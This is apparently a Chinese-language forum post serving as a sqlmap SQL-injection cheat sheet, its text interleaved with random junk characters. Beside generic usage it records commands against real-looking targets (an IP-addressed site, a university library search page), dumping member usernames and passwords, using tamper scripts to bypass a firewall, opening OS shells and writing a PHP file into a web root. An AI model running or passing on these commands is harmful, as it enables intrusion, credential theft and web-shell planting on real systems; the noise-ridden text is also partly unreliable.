/pentest/database/sqlmap2 [7 S6 K( ` l, S' H
6 M5 w/ F- J3 m- Q$ Y0 t N& N9 Jupdate :::::> in the folder after execute following order : svn update# t* \" a8 G/ w5 D0 i: N5 m$ r: s
) |4 g' k1 x' D" W2 U" s
sqlmap.py -r 1.txt --current-db
2 J4 _' V' O5 d, |% S8 }0 w6 |6 _' ]; B ?3 c6 Q( w
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
. b2 a% g& ?9 q7 a& g* S% H
+ x( B g3 k) Y9 V' Q* |/ l$ I8 n==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) , B# D& @; t% O/ O5 U* }
猜解数据库; w& j( @5 B3 X; C5 s/ p6 [, I& e
./sqlmap.py -u "injection-url" --dbs
" t' B$ _6 [* R8 M/ bsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"; I" V9 E. j7 ?, Y3 ~1 M
- Q0 \8 X7 n* [" y- a. H/ e- i$ i; K猜解表名
- V: `& }$ v. g6 }% H./sqlmap.py -u "injection-url" -D database_name --tables
2 x; h; l4 v; ~1 W- `! Z# k" i. S2 \, P1 } w# y
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"9 S" x0 O( g) b6 v
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
' J6 N+ T4 s, f+ x, V, r, {4 v3 l+ V
- |0 `+ X5 k& W5 C1 B8 f0 H! Ssqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump/ N- F1 r1 D% a# o0 s
" {! P1 M6 M" F c Usqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
) g9 F1 {9 I- c) fsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"1 a/ v7 \; g# d7 [7 u, h
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
/ V" u$ w$ c# d4 rsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
0 ~6 ^ W: p7 a: O( I
% I' z' d" {0 \5 {5 F" K' O+ g; Hsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"5 q: @# L# N: Z
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"% X% Q2 n$ X/ _2 b2 I' r( L2 k
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"0 D6 J* p2 o2 ~. P* u$ k
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
& S, N3 ^1 N. X5 U. g" ^sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump+ M% D, u0 o9 F; D1 t! H2 `
- N: O I4 S1 x: ] U# a7 ^
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了0 l! Z5 A) {5 k2 f% @. }, w
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
' T5 D% `# @: f( T6 d3 D# u9 H8 _$ [3 z) B4 p& j2 l* r- L2 C8 Z# K
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
* ^! x! v x9 W8 l2 n) [# L6 `5 y猜解列名8 |/ N$ o9 `# N; P) h4 w( ~
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
1 J9 E& q7 b y4 R$ \ X* N# a0 {
n$ q' f: v2 r8 lsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
) H; O8 ^1 N S8 K$ y4 Csqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
) u8 s8 n' z$ M. rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"& N5 ~) F' P) O- b/ y3 [- E
6 G9 q- B& F0 v+ E4 {
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"4 x7 W* C3 G- @' [9 l
&submit=Go' i8 N% P, h' O( d+ x( r6 ^4 ~
猜解值/ x7 E7 k% N4 U; v) C
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump! Q4 F% U' _: o1 s0 `
========================================================% ~" ~; g- |) S; I: u v, z) D
搜索表名中包括mana字符的4 d/ z0 H! j# B/ y8 k6 k
/sqlmap.py -u "injection-url" -T mana --search
% \. w8 z2 F- c8 f; [返回一个交互式sql shell2 s; R1 ], H2 g; d$ e
/sqlmap.py -u "injection-url" --sql-shell2 s, b8 D' Z2 U. s* ]- `& [! l
读取指定文件(需权限)
7 @# {# I9 w6 Z2 c% m6 L8 e/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
0 { P) f4 m8 q% ?查看当前 用户 及 数据库
# A6 U+ @! t/ A- }8 i. U/sqlmap.py -u "injection-url" --current-user --current-db
' A x9 c! s. I e+ v; Y本地文件 写入 远程目标绝对路径
; W9 t& p7 j, }' [$ |* S5 t- F/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
: V3 |$ E. q' f8 f3 ~sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" + d( x8 M( e9 ^5 @
% f& W8 }. t3 `
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径/ H0 Y) W" L9 J0 c! X: D
查看某用的权限
2 q9 e3 G4 ~8 Z0 q% |+ E/sqlmap.py -u "injection-url" --privileges -U root
8 e6 O V; K% ^( Y" I/ {+ J' c查看当前用户是否为dba
$ ^1 Z3 ]6 i7 X ~/sqlmap.py -u "injection-url" --is-dba
+ N8 P5 P* o& Y( }读取所有数据库用户或指定数据库用户的密码
" d9 I6 `- f4 p+ Esqlmap.py -r 1.txt --users --passwords
& |1 w. y3 n! G) D, m& p6 ~sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
+ H- u( z/ Y# }# J/ d. c q; p6 T# r7 `4 }, F. h
/sqlmap.py -u "injection-url" --passwords -U root' A7 G$ {0 v+ C: a( N
6 I8 z' ]. r& L" K6 f
--start&&--stop 与 --first&&--last 的区别
$ P! P- V' ]7 p; ^. c! N/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
* j- K* d: o, O, @$ c" s. f2 Q: s9 J
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)+ _/ t# k, V7 s1 @% ?; _ F
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
" w" `1 U( F4 `( Q4 o$ _4 W/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
% t4 [2 W- K0 o4 u4 o: B
$ v: r; ^% u) X" Q2 z; j u8 N# P执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)! m/ P& e; g0 r9 ~- D+ K& H- T& C
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"0 |9 N% ` g/ M& |* r
$ J7 n3 t, R2 ^" f2 Y1 t8 I |